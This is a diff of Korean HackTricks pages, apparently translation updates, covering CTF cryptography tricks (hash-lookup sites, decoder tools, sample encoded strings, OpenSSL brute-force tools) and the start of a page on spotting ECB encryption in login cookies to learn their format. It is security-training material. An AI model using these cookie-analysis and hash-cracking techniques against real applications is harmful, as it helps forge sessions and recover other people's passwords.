자세한 내용은 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)에서 확인할 수 있습니다.
|
||||
자세한 내용은 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)에서 확인하세요.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Crypto CTFs 트릭
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되기를 원하거나 HackTricks를 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 온라인 해시 DB
|
||||
|
||||
* _**Google에서 검색**_
|
||||
* _**구글에서 찾아보세요**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
|
@ -28,10 +29,10 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Magic Autosolvers
|
||||
## 매직 자동 해독기
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic 모듈)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (매직 모듈)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
|
@ -42,65 +43,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### 치환 Autosolvers
|
||||
### 치환 자동 해독기
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - 매우 좋음!
|
||||
|
||||
#### 시저 - ROTx Autosolvers
|
||||
#### 시저 - ROTx 자동 해독기
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### 앳배시 암호
|
||||
#### 앗바쉬 암호
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### 기본 인코딩 Autosolver
|
||||
### 기본 인코딩 자동 해독기
|
||||
|
||||
이 모든 기본 인코딩을 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base26** \[_A-Z_]
|
||||
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||
* **Base32** \[_A-Z2-7=_]
|
||||
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
* `pbzsaamdcf3gna5xptoo====`
|
||||
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
* `e1rqssc3d5t62svgejhh====`
|
||||
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
* `D1QPRRB3C5S62RVFDHGG====`
|
||||
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
* `D1NMOOB3C5P62ORFDHGG====`
|
||||
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
* `59DPVDGPCVKEUPCPVD`
|
||||
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
* `2yJiRg5BF9gmsU6AC`
|
||||
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
* `2YiHqF5bf9FLSt6ac`
|
||||
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
* `pyJ5RgnBE9gm17awU`
|
||||
* **Base62** \[_0-9A-Za-z_]
|
||||
* `g2AextRZpBKRBzQ9`
|
||||
* **Base64** \[_A-Za-z0-9+/=_]
|
||||
* `aG9sYWNhcmFjb2xh`
|
||||
* **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
* `NI9JKX0cSUdqhr!p`
|
||||
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `<~BQ%]q@psCd@rH0l~>`
|
||||
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* `Xm4y`V\_|Y(V{dF>\`
|
||||
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* `Xm4y|V{~Y+V}dF?`
|
||||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦
|
||||
다음을 사용하여 모든 이러한 기본을 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
|
@ -129,15 +88,13 @@ HackTricks를 지원하는 다른 방법:
|
|||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### 모스 부호
|
||||
### 모스부호
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
|
@ -148,9 +105,7 @@ end
|
|||
```
|
||||
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
XXEncoder는 문자열을 다른 형식으로 인코딩하는 도구입니다. 이 도구는 다양한 인코딩 방식을 지원하며, 주로 데이터를 안전하게 전송하거나 저장하기 위해 사용됩니다. XXEncoder를 사용하면 원본 문자열을 다른 형식으로 변환하여 데이터를 보호할 수 있습니다.
|
||||
### XX인코더
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
|
@ -159,10 +114,6 @@ end
|
|||
```
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
|
@ -172,8 +123,6 @@ ryvkryvkryvkryvkryvkryvkryvk
|
|||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
BinHex는 이진 데이터를 ASCII로 변환하는 인코딩 방식입니다. 이 방식은 이진 파일을 텍스트 형식으로 전송하거나 저장할 때 사용됩니다. BinHex는 파일을 7비트 ASCII 문자로 변환하고, 이진 데이터를 6비트로 분할하여 텍스트 형식으로 표현합니다. 이렇게 변환된 파일은 이메일이나 웹을 통해 전송할 수 있습니다. BinHex는 파일의 무결성을 보장하기 위해 체크섬을 사용하며, 압축 기능도 제공합니다.
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
|
@ -182,17 +131,6 @@ BinHex는 이진 데이터를 ASCII로 변환하는 인코딩 방식입니다.
|
|||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85는 4바이트의 이진 데이터를 5바이트의 ASCII 문자열로 변환하는 인코딩 방식입니다. 이 방식은 이진 데이터를 텍스트 형식으로 전송할 수 있도록 해줍니다. ASCII85는 일반적으로 PostScript와 PDF 파일에서 사용되며, 이진 데이터를 텍스트로 변환하여 문서에 포함시킵니다.
|
||||
|
||||
ASCII85 인코딩은 다음과 같은 특징을 가지고 있습니다.
|
||||
|
||||
- 4바이트의 이진 데이터를 5바이트의 ASCII 문자열로 변환합니다.
|
||||
- 인코딩된 문자열은 '~' 문자로 시작하고 'z' 문자로 끝납니다.
|
||||
- 인코딩된 문자열은 5개의 문자로 이루어져 있으며, 각 문자는 7비트 ASCII 문자로 표현됩니다.
|
||||
- 인코딩된 문자열은 원래의 이진 데이터를 복원하기 위해 디코딩될 수 있습니다.
|
||||
|
||||
ASCII85 인코딩은 다양한 프로그래밍 언어에서 지원되며, 이를 활용하여 이진 데이터를 텍스트로 변환하거나, 텍스트를 이진 데이터로 변환할 수 있습니다.
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
|
@ -206,23 +144,23 @@ drnajapajrna
|
|||
|
||||
### A1Z26
|
||||
|
||||
알파벳을 숫자 값으로 변환합니다.
|
||||
글자를 숫자 값으로 변환
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine 암호화
|
||||
### Affine Cipher Encode
|
||||
|
||||
문자를 숫자로 변환하여 `(ax+b)%26` (_a_와 _b_는 키이고 _x_는 문자)를 계산하고 결과를 다시 문자로 변환합니다.
|
||||
알파벳을 숫자로 변환하여 `(ax+b)%26` (_a_ 와 _b_ 가 키이고 _x_ 가 알파벳) 계산하고 결과를 다시 알파벳으로 변환합니다.
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS 코드
|
||||
|
||||
**멀티탭**은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자로 [문자를 대체](https://www.dcode.fr/word-letter-change)합니다 (이 모드는 SMS 작성 시 사용됩니다).\
|
||||
**멀티탭**은 모바일 [전화 키패드](https://www.dcode.fr/phone-keypad-cipher)에서 해당 키 코드에 의해 정의된 반복된 숫자로 문자를 대체합니다 (이 모드는 SMS 작성 시 사용됨).\
|
||||
예를 들어: 2=A, 22=B, 222=C, 3=D...\
|
||||
여러 번 반복된 숫자를 볼 수 있으므로 이 코드를 식별할 수 있습니다.
|
||||
여러 번 반복된 숫자를 볼 수 있기 때문에 이 코드를 식별할 수 있습니다.
|
||||
|
||||
이 코드를 해독할 수 있는 곳: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
이 코드를 해독할 수 있습니다: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### 베이컨 코드
|
||||
|
||||
|
@ -237,7 +175,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
|
||||
## 압축
|
||||
|
||||
**Raw Deflate**와 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 해제할 수 있습니다.
|
||||
**Raw Deflate** 및 **Raw Inflate** (둘 다 Cyberchef에서 찾을 수 있음)는 헤더 없이 데이터를 압축하고 해제할 수 있습니다.
|
||||
|
||||
## 쉬운 암호화
|
||||
|
||||
|
@ -247,13 +185,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
|
||||
### Bifid
|
||||
|
||||
키워드가 필요합니다.
|
||||
키워드가 필요합니다
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
키워드가 필요합니다.
|
||||
키워드가 필요합니다
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
|
@ -265,7 +203,7 @@ wodsyoidrods
|
|||
|
||||
### Fernet
|
||||
|
||||
2 개의 base64 문자열 (토큰과 키)
|
||||
2 개의 base64 문자열 (토큰 및 키)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
@ -277,7 +215,7 @@ Key:
|
|||
|
||||
### Samir Secret Sharing
|
||||
|
||||
비밀은 X 부분으로 나누어지며, 복구하기 위해서는 Y 부분이 필요합니다 (_Y <=X_).
|
||||
비밀은 X 부분으로 분할되며 복구하려면 Y 부분이 필요합니다 (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
|
@ -285,7 +223,7 @@ Key:
|
|||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL 무차별 대입 공격
|
||||
### OpenSSL 브루트 포스
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
@ -296,16 +234,17 @@ Key:
|
|||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,47 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) 전자 코드 북 - 각 블록의 평문을 암호문 블록으로 **대체**하는 대칭 암호화 방식입니다. 가장 **간단한** 암호화 방식입니다. 주요 아이디어는 평문을 N 비트 블록(입력 데이터 블록 크기, 암호화 알고리즘에 따라 다름)으로 **분할**한 다음, 유일한 키를 사용하여 각 평문 블록을 암호화(복호화)하는 것입니다.
|
||||
(ECB) 전자 코드북 - 각 **일반 텍스트 블록을** **암호문 블록으로 대체**하는 대칭 암호화 방식입니다. 이것은 **가장 간단한** 암호화 방식입니다. 주요 아이디어는 일반 텍스트를 **N 비트 블록**으로 **분할**하고(입력 데이터 블록 크기, 암호화 알고리즘에 따라 다름) 그런 다음 단 하나의 키를 사용하여 각 일반 텍스트 블록을 암호화(복호화)하는 것입니다.
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
|
||||
ECB 사용은 여러 보안 문제를 야기할 수 있습니다:
|
||||
ECB 사용에는 여러 보안 문제가 있습니다:
|
||||
|
||||
* 암호화된 메시지의 **블록이 제거**될 수 있습니다.
|
||||
* 암호화된 메시지의 **블록이 이동**될 수 있습니다.
|
||||
* **암호화된 메시지에서 블록을 제거할 수 있음**
|
||||
* **암호화된 메시지에서 블록을 이동할 수 있음**
|
||||
|
||||
# 취약점 탐지
|
||||
|
||||
어떤 애플리케이션에 여러 번 로그인하고 항상 **동일한 쿠키**를 받는다고 상상해보세요. 이는 애플리케이션의 쿠키가 **`<사용자명>|<비밀번호>`**인 것입니다.\
|
||||
그런 다음, **동일한 긴 비밀번호**와 **거의** **동일한** **사용자명**을 가진 새로운 사용자를 생성합니다.\
|
||||
두 사용자의 정보가 동일한 **8B 블록**이 **동일**함을 발견합니다. 그럼 이것은 아마도 **ECB가 사용되고 있을 수 있다는 것**을 상상해볼 수 있습니다.
|
||||
어떤 응용 프로그램에 여러 번 로그인하고 **항상 동일한 쿠키**를 받는다고 상상해보세요. 이것은 응용 프로그램의 쿠키가 **`<사용자명>|<비밀번호>`**인 경우입니다.\
|
||||
그런 다음 **거의** **동일한 사용자명**을 가진 **동일한 긴 비밀번호**를 가진 두 명의 새 사용자를 생성합니다.\
|
||||
두 사용자의 정보가 동일한 **8바이트 블록**인 것을 발견했습니다. 그런 다음 이것이 **ECB가 사용 중**이기 때문일 수 있다고 상상해봅니다.
|
||||
|
||||
다음 예시와 같이, 이 **2개의 디코딩된 쿠키**에는 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**이 포함되어 있음을 관찰하세요.
|
||||
다음 예제와 같이. 이 **2개의 디코딩된 쿠키**가 여러 번 블록 **`\x23U\xE45K\xCB\x21\xC8`**을 가지고 있음을 관찰하세요.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
이는 해당 쿠키의 **사용자 이름과 비밀번호에 여러 번 "a" 문자가 포함**되어 있기 때문입니다. **다른 블록**은 적어도 1개의 다른 문자(아마도 구분 기호 "|" 또는 사용자 이름에 필요한 차이)가 포함된 블록입니다.
|
||||
이것은 **쿠키의 사용자 이름과 비밀번호에 "a"라는 문자가 여러 번 포함**되어 있기 때문입니다. **다른 블록**은 **적어도 1개의 다른 문자**를 포함한 블록입니다(아마도 구분 기호 "|" 또는 사용자 이름에 필요한 어떤 차이).
|
||||
|
||||
이제 공격자는 형식이 `<사용자 이름><구분 기호><비밀번호>` 또는 `<비밀번호><구분 기호><사용자 이름>`인지 알아내기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호를 가진 여러 사용자 이름**을 생성하여 형식과 구분 기호의 길이를 찾을 수 있습니다:
|
||||
이제 공격자는 형식이 `<사용자 이름><구분 기호><비밀번호>`인지 아니면 `<비밀번호><구분 기호><사용자 이름>`인지 발견하기만 하면 됩니다. 이를 위해 그는 **유사하고 긴 사용자 이름과 비밀번호를 가진 여러 사용자 이름을 생성하여 형식과 구분 기호의 길이를 찾을 수 있습니다:**
|
||||
|
||||
| 사용자 이름 길이 | 비밀번호 길이 | 사용자 이름+비밀번호 길이 | 쿠키의 길이 (디코딩 후): |
|
||||
| 사용자 이름 길이: | 비밀번호 길이: | 사용자 이름+비밀번호 길이: | 디코딩 후 쿠키의 길이: |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
